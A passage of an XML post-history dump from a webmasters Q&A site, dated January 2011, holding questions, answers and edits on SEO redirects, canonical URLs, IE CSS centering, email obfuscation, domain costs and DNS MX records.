to:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;affiliatedotCOM/my-affiliate_code_here_test1&lt;br&gt;&#xD;&#xA;affiliatedotCOM/my-affiliate_code_here_test2&lt;br&gt;&#xD;&#xA;affiliatedotCOM/my-affiliate_code_here_test3&lt;br&gt;&#xD;&#xA;affiliatedotCOM/my-affiliate_code_here_test4&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can someone tell me how I could go about doing this?&#xD;&#xA;&#xD;&#xA;I just dont want to have to make 100's of pages, as this would prevent me from having to do so." />
  <row Id="17279" PostHistoryTypeId="1" PostId="8065" RevisionGUID="dda72540-d431-4504-81df-febfa9ae9512" CreationDate="2011-01-21T22:27:46.627" UserDisplayName="John" Text="dynamic urls and links on one web page" />
  <row Id="17280" PostHistoryTypeId="3" PostId="8065" RevisionGUID="dda72540-d431-4504-81df-febfa9ae9512" CreationDate="2011-01-21T22:27:46.627" UserDisplayName="John" Text="&lt;dynamic&gt;" />
  <row Id="17281" PostHistoryTypeId="2" PostId="8066" RevisionGUID="0e636077-5b75-437a-a430-d226c36aaa68" CreationDate="2011-01-21T22:51:56.253" UserId="4793" Text="The referrer in PHP is in the _SERVER global.&#xD;&#xA;&#xD;&#xA;    echo $_SERVER['HTTP_REFERER'];&#xD;&#xA;&#xD;&#xA;Set a variable in a separate file like $referrer = $_SERVER['HTTP_REFERER'];&#xD;&#xA;Include the file in whatever file you want to use this in.&#xD;&#xA;&#xD;&#xA;I think this is what you are asking anyway.&#xD;&#xA;" />
  <row Id="17282" PostHistoryTypeId="25" PostId="8063" RevisionGUID="3f9e1aa8-dfef-448a-b74a-bcd27bf76501" CreationDate="2011-01-21T22:55:46.033" Comment="http://twitter.com/#!/StackWebmasters/status/28586577751969792" />
  <row Id="17283" PostHistoryTypeId="2" PostId="8067" RevisionGUID="2c4b8202-35bf-4ff3-b9e6-eff09a804ae7" CreationDate="2011-01-21T23:05:02.713" UserId="1064" Text="You can find some more advanced conversion-centric design tips at Smashing Magazine:&#xD;&#xA;&#xD;&#xA;[Design To Sell: 8 Useful Tips To Help Your Website Convert][1]&#xD;&#xA;&#xD;&#xA;[7 More Useful Tips To Help Your Site Convert][2]&#xD;&#xA;&#xD;&#xA;I'm also a fan of sites like [NeuroMarketing.com][3] which delve into studies of typical human behavior.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2009/04/06/design-to-sell-12-tips-to-help-your-website-convert/&#xD;&#xA;  [2]: http://www.smashingmagazine.com/2009/04/13/7-more-useful-tips-to-help-your-site-convert/&#xD;&#xA;  [3]: http://www.neurosciencemarketing.com/blog/" />
  <row Id="17284" PostHistoryTypeId="5" PostId="314" RevisionGUID="f6d85c3a-451a-4cf7-842f-74ae7ddc1fed" CreationDate="2011-01-21T23:17:20.943" UserId="120" Comment="added 378 characters in body" Text="**Use natural language to spell out the eMail address...**&#xD;&#xA;&#xD;&#xA;Ex:&#xD;&#xA;&#xD;&#xA;    thatguy at gmail dot com&#xD;&#xA;&#xD;&#xA;You'd be surprised how much harder it is to write a bot that can differentiate natural language vs writing a bot that just searches for the @ sign and regexes a normal address.&#xD;&#xA;&#xD;&#xA;It isn't 100% foolproof but it isn't any worse than obfuscation and it won't alienate your visually impaired users and/or users that have JavaScript disabled.&#xD;&#xA;&#xD;&#xA;**Update: [Here's an example of this technique in action][1].**&#xD;&#xA;&#xD;&#xA;**Update 2:**&#xD;&#xA;&#xD;&#xA;**It turns out that someone has actually done research on this and posted it online. See the [SuperUser post describing the results][2] or [the original article][3]**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/language.functions.php&#xD;&#xA;  [2]: http://superuser.com/questions/235937/does-email-address-obfuscation-actually-work&#xD;&#xA;  [3]: http://techblog.tilllate.com/2008/07/20/ten-methods-to-obfuscate-e-mail-addresses-compared/" />
  <row Id="17285" PostHistoryTypeId="25" PostId="8059" RevisionGUID="4b46f7d8-6c0c-4b0b-b30e-4e7623ea0997" CreationDate="2011-01-22T01:55:45.707" Comment="http://twitter.com/#!/StackWebmasters/status/28631874859438080" />
  <row Id="17286" PostHistoryTypeId="2" PostId="8068" RevisionGUID="dcba5d34-c27b-41f0-ac71-611cbebb76c4" CreationDate="2011-01-22T02:51:31.937" UserId="1064" Text="Unable to duplicate in IE 8.0.6001.18702 build 86001.&#xD;&#xA;&#xD;&#xA;Check your character encoding settings in IE (I'd recommend starting with auto select), check the character encoding of the file, and (if applicable) whether your server is sending the correct content-type headers." />
  <row Id="17287" PostHistoryTypeId="25" PostId="8055" RevisionGUID="63a348c0-cf03-4434-b24d-1f0ac94bc4ad" CreationDate="2011-01-22T04:55:45.613" Comment="http://twitter.com/#!/StackWebmasters/status/28677173074202624" />
  <row Id="17288" PostHistoryTypeId="2" PostId="8069" RevisionGUID="cad1f270-506a-41b6-a344-762b7c125314" CreationDate="2011-01-22T05:14:37.513" UserDisplayName="altufaltu" Text="Like godaddy takes 8 dollar for a domain, name.com $10. So the people who bought domains for search engine money or selling  later, how they bought it in this amount. Is there a cheaper way? or this is how they do it." />
  <row Id="17289" PostHistoryTypeId="1" PostId="8069" RevisionGUID="cad1f270-506a-41b6-a344-762b7c125314" CreationDate="2011-01-22T05:14:37.513" UserDisplayName="altufaltu" Text="how people do domain business?" />
  <row Id="17290" PostHistoryTypeId="3" PostId="8069" RevisionGUID="cad1f270-506a-41b6-a344-762b7c125314" CreationDate="2011-01-22T05:14:37.513" UserDisplayName="altufaltu" Text="&lt;domains&gt;&lt;domain-registration&gt;&lt;cheap&gt;" />
  <row Id="17291" PostHistoryTypeId="2" PostId="8070" RevisionGUID="d09e8f1b-7070-480d-a04c-b07633395e8c" CreationDate="2011-01-22T05:32:31.413" UserId="4796" Text="I own a site for two years, but never become popular. Today google income &quot;clicks&quot; is almost null :P. &#xD;&#xA;So I started to redesign all the site, more features, more cool design more data,etc. But I got a better domain name for this site.&#xD;&#xA;&#xD;&#xA;What you you would suggest. Redirect from old domain? (like 30 uniques per day from google search :/ ) or start from scratch and forget about the &quot;old&quot; one. I dont  want to be &quot;detected&quot; as duplicate content. But its possible that my actual site is penalized?&#xD;&#xA;&#xD;&#xA;I will post my site is allowed in a future edit :)" />
  <row Id="17292" PostHistoryTypeId="1" PostId="8070" RevisionGUID="d09e8f1b-7070-480d-a04c-b07633395e8c" CreationDate="2011-01-22T05:32:31.413" UserId="4796" Text="Not so popular web : Change Domain and Web Name, SEO implications. Duplicate?" />
  <row Id="17293" PostHistoryTypeId="3" PostId="8070" RevisionGUID="d09e8f1b-7070-480d-a04c-b07633395e8c" CreationDate="2011-01-22T05:32:31.413" UserId="4796" Text="&lt;seo&gt;&lt;domains&gt;&lt;pagerank&gt;" />
  <row Id="17294" PostHistoryTypeId="5" PostId="8069" RevisionGUID="578cd14a-7681-456c-ab2d-8c64e7cbf804" CreationDate="2011-01-22T05:34:10.117" UserDisplayName="altufaltu" Comment="added 240 characters in body" Text="Like godaddy takes 8 dollar for a domain, name.com $10. So the people who bought domains for search engine money or selling  later, how they bought it in this amount. Is there a cheaper way? or this is how they do it.&#xD;&#xA;&#xD;&#xA;Actually I want to say, the people who do domain business like buy 100 domain for SEO or maybe selling later are they spent 800/1000 dollar per year? Or their is a cheaper way? I mean its kinda expensive if your target is seo. Isn't it." />
  <row Id="17295" PostHistoryTypeId="2" PostId="8071" RevisionGUID="b52d9a00-3e9d-4b1f-93e7-9f742d71f99b" CreationDate="2011-01-22T05:45:07.223" UserDisplayName="JP19" Text="For now, use 301 redirects or Google's canonical URL meta tag.  Once your new site is more established, you can decided whether to drop the old domain." />
  <row Id="17296" PostHistoryTypeId="5" PostId="8071" RevisionGUID="f596e388-e028-40ab-8a79-efc2b563c764" CreationDate="2011-01-22T05:50:15.567" UserDisplayName="JP19" Comment="added 329 characters in body; deleted 92 characters in body" Text="For now, use 301 redirects or Google's canonical URL meta tag.  This way, you will not waste your existing pagerank (even if its 0 - new sites are unranked which is less than 0) and ensure that your new site will almost instantly appear in search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once your new site is more established, you can decide whether to drop the old domain (whether its worth maintaining, etc).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17297" PostHistoryTypeId="2" PostId="8072" RevisionGUID="fb820600-aca2-401c-8bcd-09a43df587a6" CreationDate="2011-01-22T06:42:27.517" UserId="1658" Text="I am creating a template for a website.&#xD;&#xA;&#xD;&#xA;The example is at [Framework Login Page][1]  &#xD;&#xA;The main CSS sheet is at: [master.css][2]&#xD;&#xA;&#xD;&#xA;I am trying to center the main parent div.&#xD;&#xA;&#xD;&#xA;I am using&#xD;&#xA;&#xD;&#xA;    #body {&#xD;&#xA;      width: 100%;&#xD;&#xA;      background: url('pathtoimage.png');&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #inner_body{&#xD;&#xA;      width: 800px;&#xD;&#xA;      margin: auto;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &lt;body&gt;&#xD;&#xA;      &lt;div id=&quot;body&quot;&gt;&#xD;&#xA;        &lt;div id=&quot;inner_body&quot;&gt;&lt;/div&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;&#xD;&#xA;What could the issue be?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://test.webspirited.com/framework/login&#xD;&#xA;  [2]: http://test.webspirited.com/framework/application/assets/css/master.css" />
  <row Id="17298" PostHistoryTypeId="1" PostId="8072" RevisionGUID="fb820600-aca2-401c-8bcd-09a43df587a6" CreationDate="2011-01-22T06:42:27.517" UserId="1658" Text="cannot horizontally center fixed width div in IE." />
  <row Id="17299" PostHistoryTypeId="3" PostId="8072" RevisionGUID="fb820600-aca2-401c-8bcd-09a43df587a6" CreationDate="2011-01-22T06:42:27.517" UserId="1658" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="17300" PostHistoryTypeId="25" PostId="8070" RevisionGUID="8d5ac0ab-81da-46ca-824f-350ed49f5651" CreationDate="2011-01-22T07:55:45.677" Comment="http://twitter.com/#!/StackWebmasters/status/28722472048132097" />
  <row Id="17301" PostHistoryTypeId="5" PostId="8067" RevisionGUID="6b9a3fd1-0615-4e02-8f84-41068a888787" CreationDate="2011-01-22T08:28:03.390" UserId="1064" Comment="Changed wording to apply to asker versus myself" Text="You can find some more advanced conversion-centric design tips at Smashing Magazine:&#xD;&#xA;&#xD;&#xA;[Design To Sell: 8 Useful Tips To Help Your Website Convert][1]&#xD;&#xA;&#xD;&#xA;[7 More Useful Tips To Help Your Site Convert][2]&#xD;&#xA;&#xD;&#xA;You might also like [NeuroMarketing.com][3] and similar sites with a focus on cognitive science and marketing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2009/04/06/design-to-sell-12-tips-to-help-your-website-convert/&#xD;&#xA;  [2]: http://www.smashingmagazine.com/2009/04/13/7-more-useful-tips-to-help-your-site-convert/&#xD;&#xA;  [3]: http://www.neurosciencemarketing.com/blog/" />
  <row Id="17303" PostHistoryTypeId="2" PostId="8074" RevisionGUID="e3d8ab49-559b-4966-8ec0-3c5b7f72e530" CreationDate="2011-01-22T10:12:17.837" UserId="4798" Text="For large quantities of domains, most registrars offer bulk pricing, often as much as a reduction to half of the original price. If the domains are worth it, and get random hits, it should be possible to generate more than that registration fee by placing ads. If not, they'll just get rid of that domain. &#xD;&#xA;Considering the huge quantities of domains in the hands of people who try to monetize them, it seems to be a business model that works." />
  <row Id="17304" PostHistoryTypeId="2" PostId="8075" RevisionGUID="b3c78163-3a95-42ef-b108-755cabe84851" CreationDate="2011-01-22T10:33:40.407" UserDisplayName="Ader" Text="I Have job board site www.employermagazine.com and google told me that Unacceptable site content, &#xD;&#xA;&#xD;&#xA;My site would have some copied content which maybe some customer might take copy from his site &quot; if he is also advertising his jobs in my site or advertising the same job in many job sites&quot; and copy it to my site&#xD;&#xA;&#xD;&#xA;so can you help me on that" />
  <row Id="17305" PostHistoryTypeId="1" PostId="8075" RevisionGUID="b3c78163-3a95-42ef-b108-755cabe84851" CreationDate="2011-01-22T10:33:40.407" UserDisplayName="Ader" Text="Google adsense  unacceptable site content" />
  <row Id="17306" PostHistoryTypeId="3" PostId="8075" RevisionGUID="b3c78163-3a95-42ef-b108-755cabe84851" CreationDate="2011-01-22T10:33:40.407" UserDisplayName="Ader" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="17307" PostHistoryTypeId="25" PostId="8069" RevisionGUID="81d32f66-2213-40dc-acd4-be952aa05b27" CreationDate="2011-01-22T10:55:45.757" Comment="http://twitter.com/#!/StackWebmasters/status/28767770812350464" />
  <row Id="17308" PostHistoryTypeId="2" PostId="8076" RevisionGUID="ec7de933-d6f3-4ff2-a5d8-c1a208fcef85" CreationDate="2011-01-22T11:00:11.167" UserId="1714" Text="looking through Google's Webmaster Tools today I saw a long list of supposedly duplicate `&lt;meta name=description&gt;` / `&lt;title&gt;` tag content with all of them showing a duplicate count of 2. A lot of them show as the conflicting URLs something like the following:&#xD;&#xA;&#xD;&#xA;    /deutschland/Bayern/Camping-Allweglehen-19062&#xD;&#xA;    /deutschland/bayern/camping-allweglehen-19062&#xD;&#xA;The only difference is the case of the first letters of some of the words.&#xD;&#xA;&#xD;&#xA;I have to admit I was surprised to see that Google treats these as separate URLs. But now that I know it does - what I can I do to clarify that this is the same website? I don't want to use `301` redirects as it would mean overhead for the user and a tiny bit for the server. I feel like I'll have to make sure all URLs that we put on our pages are lowercase so there won't be any reason for any crawler to crawl the same website twice.&#xD;&#xA;&#xD;&#xA;Is there any other trick / thing I can do to get rid of these duplicate warnings?" />
  <row Id="17309" PostHistoryTypeId="1" PostId="8076" RevisionGUID="ec7de933-d6f3-4ff2-a5d8-c1a208fcef85" CreationDate="2011-01-22T11:00:11.167" UserId="1714" Text="How to avoid duplicate META and TITLE tag warnings in Google Webmaster Tools for the same URL in lowercase and CamelCase?" />
  <row Id="17310" PostHistoryTypeId="3" PostId="8076" RevisionGUID="ec7de933-d6f3-4ff2-a5d8-c1a208fcef85" CreationDate="2011-01-22T11:00:11.167" UserId="1714" Text="&lt;google-webmaster-tools&gt;&lt;title&gt;&lt;meta-description&gt;&lt;duplicate-content&gt;" />
  <row Id="17311" PostHistoryTypeId="2" PostId="8077" RevisionGUID="93e778fd-869b-4b49-b5bd-ae0e6fac5d8c" CreationDate="2011-01-22T11:36:34.197" UserId="4798" Text="Specify the canonical URL.&#xD;&#xA;&#xD;&#xA;&amp;lt;link rel=&quot;canonical&quot; href=&quot;/deutschland/Bayern/Camping-Allweglehen-19062&quot;&amp;gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17312" PostHistoryTypeId="2" PostId="8078" RevisionGUID="37432715-1876-4ff2-ab9a-bd05aaedd19b" CreationDate="2011-01-22T11:57:41.003" UserId="4801" Text="A cloud service has three distinct characteristics that differentiate it from traditional hosting. It is sold on demand, typically by the minute or the hour; it is elastic -- a user can have as much or as little of a service as they want at any given time; and the service is fully managed by the provider (the consumer needs nothing but a personal computer and Internet access). Significant innovations in virtualization and distributed computing, as well as improved access to high-speed Internet and a weak economy, have accelerated interest in cloud computing. http://research.cloudtweaks.com/technology/networking/cloud_computing&#xD;&#xA;" />
  <row Id="17314" PostHistoryTypeId="2" PostId="8080" RevisionGUID="13d7cad8-0040-4b2a-a55a-39a5cbc95c26" CreationDate="2011-01-22T12:19:34.453" UserId="4801" Text="Let's say you're an executive at a large corporation. Your particular responsibilities include making sure that all of your employees have the right hardware and software they need to do their jobs. Buying computers for everyone isn't enough -- you also have to purchase software or software licenses to give employees the tools they require. Whenever you have a new hire, you have to buy more software or make sure your current software license allows another user. It's so stressful that you find it difficult to go to sleep on your huge pile of money every night.&#xD;&#xA;&#xD;&#xA;Soon, there may be an alternative for executives like you. Instead of installing a suite of software for each computer, you'd only have to load one application. That application would allow workers to log into a Web-based service which hosts all the programs the user would need for his or her job. Remote machines owned by another company would run everything from e-mail to word processing to complex data analysis programs. It's called cloud computing.&#xD;&#xA;&#xD;&#xA;http://research.cloudtweaks.com/technology/networking/cloud_computing&#xD;&#xA;" />
  <row Id="17315" PostHistoryTypeId="2" PostId="8081" RevisionGUID="8664f122-326d-4ad7-b0ec-5fa761472c67" CreationDate="2011-01-22T12:29:49.627" UserId="4801" Text="For storage you shoudl use Amazon AWS : http://research.cloudtweaks.com/technology/networking/cloud_computing&#xD;&#xA;&#xD;&#xA;For application &amp; database server use a dedicated instead.&#xD;&#xA;" />
  <row Id="17316" PostHistoryTypeId="5" PostId="8081" RevisionGUID="df379fa9-13b6-4073-b931-96241a9eed84" CreationDate="2011-01-22T12:33:25.447" UserId="1757" Comment="remove off-topic link" Text="For storage you shoudl use Amazon AWS.&#xD;&#xA;&#xD;&#xA;For application &amp; database server use a dedicated instead.&#xD;&#xA;" />
  <row Id="17317" PostHistoryTypeId="2" PostId="8082" RevisionGUID="869236fb-7858-4cab-b106-537452cec7b5" CreationDate="2011-01-22T12:37:25.380" UserId="4803" Text="It depends on what browser you're using. Mozilla Firefox will need margin: auto; inside of the CSS (As you have now), but IE is the short-bus-rider that needs special attention...&#xD;&#xA;&#xD;&#xA;    #body{&#xD;&#xA;     width: 100%;&#xD;&#xA;     background: url('pathtoimage.png');&#xD;&#xA;     **margin: auto;&#xD;&#xA;     text-align: center;**&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    #inner_body{&#xD;&#xA;     width: 800px;&#xD;&#xA;     margin: auto;&#xD;&#xA;    }&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;&#xD;&#xA;For internet explorer, you have to add in text-align: center; to your css, and I noticed that you didn't have margin: auto; in the parent element that you wanted to center. Adding the simple attribute align=&quot;center&quot; into the tag itself works in most cases.&#xD;&#xA;&#xD;&#xA;Hope this helps!" />
  <row Id="17318" PostHistoryTypeId="2" PostId="8083" RevisionGUID="e059a9d3-b305-438a-b191-cff9e505eccb" CreationDate="2011-01-22T12:37:36.393" UserId="4801" Text="Yes, you should be using Amazon AWS something similar.&#xD;&#xA;http://research.cloudtweaks.com/technology/networking/cloud_computing" />
  <row Id="17319" PostHistoryTypeId="2" PostId="8084" RevisionGUID="76282010-cb9f-4ed6-825a-574b349cd588" CreationDate="2011-01-22T12:41:52.643" UserId="4801" Text="Cloud computing is a general term for anything that involves delivering hosted services over the Internet. These services are broadly divided into three categories: Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS) and Software-as-a-Service (SaaS). The name cloud computing was inspired by the cloud symbol that's often used to represent the Internet in flow charts and diagrams.&#xD;&#xA;&#xD;&#xA;http://research.cloudtweaks.com/technology/networking/cloud_computing" />
  <row Id="17320" PostHistoryTypeId="2" PostId="8085" RevisionGUID="eb823309-1e9e-445b-80f9-b6e9fa50dbd1" CreationDate="2011-01-22T12:43:08.557" UserId="4803" Text="Either that or take out the font-family. Adding a font-family attribute to an input area with the type of password seems pretty counter-productive unless you have some JavaScript to have some text inside of the box before you start typing in it.&#xD;&#xA;&#xD;&#xA;Assuming that's the case, I would use a different font that is a standard Windows font that comes with every operating system. Those are pretty universal throughout Linux and Mac. If a user with an outdated version of Windows or Linux tries to view your webpage, it is going to look really messy anyway." />
  <row Id="17322" PostHistoryTypeId="2" PostId="8087" RevisionGUID="5ecc9013-89fd-40e6-9f72-d225b42849b4" CreationDate="2011-01-22T13:15:40.543" UserId="4322" Text="Some systems are case sensitive with URLs and so I guess Google is honouring that.&#xD;&#xA;&#xD;&#xA;The best thing to do is to try and avoid URLs being references in different ways in regard to case.&#xD;&#xA;&#xD;&#xA;This can never be 100% so the next best thing maybe to cause 301 redirects when the case is incorrect. This seems a bit of overkill for a minor issue.&#xD;&#xA;&#xD;&#xA;A final solution is to use the canonical meta tag to indicate which version of the URL is correct. Oh, that's what @Fabian just said!" />
  <row Id="17323" PostHistoryTypeId="2" PostId="8088" RevisionGUID="32b5f01b-ea21-456c-bdb2-d1e7ed3c11c5" CreationDate="2011-01-22T13:42:28.553" UserId="4803" Text="In JavaScript, document.write() simply prints out text. I am pretty sure that it wouldn't strip the page of HTML unless it were missing a quote, in which case it would strip everything until the next quote appeared in the page.&#xD;&#xA;&#xD;&#xA;If you could post some code of one of those domains, it would be a lot more helpful. Just like in HTML, JavaScript needs everything to be closed in the proper place in order to function correctly. However, usually the browser will see the syntax error, and simply stop executing all JavaScript on the page.&#xD;&#xA;&#xD;&#xA;Knowing how your webpage is built too would help, if it has major PHP elements, or it's plain HTML or HTML with CSS/JavaScript.&#xD;&#xA;&#xD;&#xA;I'm going to assume that you're using HTML with CSS/JavaScript for your webpage, and that the ad is at the top of the page or the first thing in the HTML body. A possible fix would be to sift through the code and look for syntax errors. " />
  <row Id="17324" PostHistoryTypeId="25" PostId="8076" RevisionGUID="6c5624df-2edf-4211-a0ae-9669b196efda" CreationDate="2011-01-22T13:55:45.900" Comment="http://twitter.com/#!/StackWebmasters/status/28813069316530176" />
  <row Id="17325" PostHistoryTypeId="10" PostId="8072" RevisionGUID="9372da30-dfaa-4882-8214-a35a42b954bd" CreationDate="2011-01-22T15:12:01.417" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17327" PostHistoryTypeId="10" PostId="8075" RevisionGUID="5ae985d8-e6c2-4911-8130-2218c2ef4dec" CreationDate="2011-01-22T15:23:41.543" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17328" PostHistoryTypeId="25" PostId="8075" RevisionGUID="9daeee14-14c6-45c7-8d5e-8bdfde67fb1f" CreationDate="2011-01-22T16:55:46.057" Comment="http://twitter.com/#!/StackWebmasters/status/28858368621813760" />
  <row Id="17329" PostHistoryTypeId="2" PostId="8089" RevisionGUID="931241ba-3473-4b10-aeab-6d6ff032ad0f" CreationDate="2011-01-22T17:28:28.233" UserId="3453" Text="Because IE sucks.&#xD;&#xA;&#xD;&#xA;Just kidding (although I kid you not!). Have you installed any custom Windows theme? And what version of Windows are you using?" />
  <row Id="17330" PostHistoryTypeId="2" PostId="8090" RevisionGUID="fb937247-d487-4a51-b4f0-600ff4dfbc35" CreationDate="2011-01-22T17:47:42.797" UserId="4807" Text="Here's a [minimal example][1] of my problem. It contains two buttons, from twitter and from facebook.&#xD;&#xA;&#xD;&#xA;What I'm observing in Firefox 3.5.15 is:&#xD;&#xA;&#xD;&#xA;1. While the page is loading, the buttons are more or less aligned (I mean their bottom sides)&#xD;&#xA;2. When the page is loaded, the facebook button moves a few pixels down, so that it's bottom side is lower than the bottom side of the twitter button.&#xD;&#xA;3. If I reload the page, the buttons are again aligned, and remain in this state even after the page is loaded.&#xD;&#xA;&#xD;&#xA;Can someone please explain what's going on and how to fix it?&#xD;&#xA;&#xD;&#xA;[1]: http://ro-che.info/ccc/111.html" />
  <row Id="17331" PostHistoryTypeId="1" PostId="8090" RevisionGUID="fb937247-d487-4a51-b4f0-600ff4dfbc35" CreationDate="2011-01-22T17:47:42.797" UserId="4807" Text="Misalignment of Facebook &amp; Twitter buttons" />
  <row Id="17332" PostHistoryTypeId="3" PostId="8090" RevisionGUID="fb937247-d487-4a51-b4f0-600ff4dfbc35" CreationDate="2011-01-22T17:47:42.797" UserId="4807" Text="&lt;facebook&gt;&lt;twitter&gt;&lt;button&gt;" />
  <row Id="17333" PostHistoryTypeId="6" PostId="8090" RevisionGUID="2274ec7f-c235-4c4b-97ba-e99a4e67b73e" CreationDate="2011-01-22T17:54:50.247" UserId="4807" Comment="edited tags" Text="&lt;html&gt;&lt;css&gt;&lt;facebook&gt;&lt;twitter&gt;&lt;button&gt;" />
  <row Id="17338" PostHistoryTypeId="2" PostId="8092" RevisionGUID="3c20c026-d616-445a-ba1f-68128186b300" CreationDate="2011-01-22T19:37:15.997" UserDisplayName="user4810" Text="My site has a MyBB forums installation, and that is pretty much all I need. Forums.&#xD;&#xA;&#xD;&#xA;However, I need a homepage and a couple other static pages, for showing relevant information, links, etc.&#xD;&#xA;&#xD;&#xA;I don't need something fancy, all I need is something very flexible regarding theme and style editing, and just a couple simple modules, like public polls. That's all.&#xD;&#xA;&#xD;&#xA;I am very graphical, and I am looking for something to let me edit pretty much every aspect of the site. These are static pages, mainly, so I don't need something very complex.&#xD;&#xA;&#xD;&#xA;Some people tell me to use Dreamweaver, but quite honestly, that is not what I am looking for, even thought it does offer a lot of flexibility.&#xD;&#xA;&#xD;&#xA;I want something like, you know, Drupal or.. some other simple, deeply-editable in terms of graphics and style web platform.&#xD;&#xA;&#xD;&#xA;What would you recommend to me?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="17339" PostHistoryTypeId="1" PostId="8092" RevisionGUID="3c20c026-d616-445a-ba1f-68128186b300" CreationDate="2011-01-22T19:37:15.997" UserDisplayName="user4810" Text="Recommended flexible website solution?" />
  <row Id="17340" PostHistoryTypeId="3" PostId="8092" RevisionGUID="3c20c026-d616-445a-ba1f-68128186b300" CreationDate="2011-01-22T19:37:15.997" UserDisplayName="user4810" Text="&lt;static&gt;" />
  <row Id="17341" PostHistoryTypeId="25" PostId="8090" RevisionGUID="d5f3cf0f-5b45-442b-b94f-4e554d092fff" CreationDate="2011-01-22T19:55:45.623" Comment="http://twitter.com/#!/StackWebmasters/status/28903665624416256" />
  <row Id="17342" PostHistoryTypeId="2" PostId="8093" RevisionGUID="11f4cbcf-cb14-4c02-90a5-ba1dac7fe932" CreationDate="2011-01-22T20:11:21.527" UserDisplayName="user4811" Text="I uploaded a tif image into SharePoint Designer but it will not display on the web page.  Does it have to be jpeg? I have uploaded jpeg images and they work fine but I erased a background on an image and saved it as a tif.&#xD;&#xA;Thanks" />
  <row Id="17343" PostHistoryTypeId="1" PostId="8093" RevisionGUID="11f4cbcf-cb14-4c02-90a5-ba1dac7fe932" CreationDate="2011-01-22T20:11:21.527" UserDisplayName="user4811" Text="Does SharePoint Designer only use jpeg images and not tif images?" />
  <row Id="17344" PostHistoryTypeId="3" PostId="8093" RevisionGUID="11f4cbcf-cb14-4c02-90a5-ba1dac7fe932" CreationDate="2011-01-22T20:11:21.527" UserDisplayName="user4811" Text="&lt;website-design&gt;" />
  <row Id="17345" PostHistoryTypeId="2" PostId="8094" RevisionGUID="337f195e-40d6-480d-a9f4-f5df32b15ce4" CreationDate="2011-01-22T20:20:39.573" UserId="4813" Text="http://www.comm100.com/ is a good option and free too.&#xD;&#xA;&#xD;&#xA;When we were thinking about live chat for our site we narrowed down to Liveperson and Comm100, then later on selected Com100 as it has various customization options and above all free of cost (eventually we didn't implement any chat support because of various political reasons in our office). " />
  <row Id="17346" PostHistoryTypeId="2" PostId="8095" RevisionGUID="7b045516-0a25-4027-9958-99c573635960" CreationDate="2011-01-22T20:39:18.810" UserId="345" Text="In my web app I use Silverlight. Since I already have Silverlight installed I cannot test how my webapp behaves in case a user has no Silverlight installed, or has old version of it, or their computer has configuration which is incompatible with Silverlight at all.&#xD;&#xA;&#xD;&#xA;Is there a recommended approach in reproducing these types of environments for testing purposes, or the only way is to delete/install browser many times?" />
  <row Id="17347" PostHistoryTypeId="1" PostId="8095" RevisionGUID="7b045516-0a25-4027-9958-99c573635960" CreationDate="2011-01-22T20:39:18.810" UserId="345" Text="Testing Silverlight Installation Experience" />
  <row Id="17348" PostHistoryTypeId="3" PostId="8095" RevisionGUID="7b045516-0a25-4027-9958-99c573635960" CreationDate="2011-01-22T20:39:18.810" UserId="345" Text="&lt;web-development&gt;&lt;usability&gt;&lt;testing&gt;&lt;silverlight&gt;" />
  <row Id="17349" PostHistoryTypeId="2" PostId="8096" RevisionGUID="58d21f40-c2e3-46cb-ba9e-a5741ef5466a" CreationDate="2011-01-22T21:41:43.497" UserDisplayName="MaxManPlease" Text="Hey, I am not good with all this DNS stuff but i am looking to use Google Apps to provide my email... To do this i need to add MX records but when i go to Domain&gt;DNS management it says: &quot;This domain is not properly configured to use DNS management. DNS Management will only work if the domain is using our name servers (NS1.NAME.COM, NS2.NAME.COM, NS3.NAME.COM, and NS4.NAME.COM).&quot;&#xD;&#xA;&#xD;&#xA;But i have to use Ns1.myserver.com ns2.myserver.com to make the site point to my server...&#xD;&#xA;&#xD;&#xA;How do i add these mx records?" />
  <row Id="17350" PostHistoryTypeId="1" PostId="8096" RevisionGUID="58d21f40-c2e3-46cb-ba9e-a5741ef5466a" CreationDate="2011-01-22T21:41:43.497" UserDisplayName="MaxManPlease" Text="Name.com DNS Managment" />
  <row Id="17351" PostHistoryTypeId="3" PostId="8096" RevisionGUID="58d21f40-c2e3-46cb-ba9e-a5741ef5466a" CreationDate="2011-01-22T21:41:43.497" UserDisplayName="MaxManPlease" Text="&lt;dns&gt;&lt;email&gt;&lt;google-apps&gt;" />
  <row Id="17353" PostHistoryTypeId="17" PostId="8099" RevisionGUID="3d54e4f4-a0e1-4b60-9418-9a0af8f0c04b" CreationDate="2011-01-22T22:54:24.330" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8508/what-is-alias-domain/8510#8510" Text="" />
  <row Id="17354" PostHistoryTypeId="17" PostId="8100" RevisionGUID="f758e1f4-c0a0-4162-903d-f8db977dc286" CreationDate="2011-01-22T22:54:24.330" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8508/what-is-alias-domain/8511#8511" Text="" />
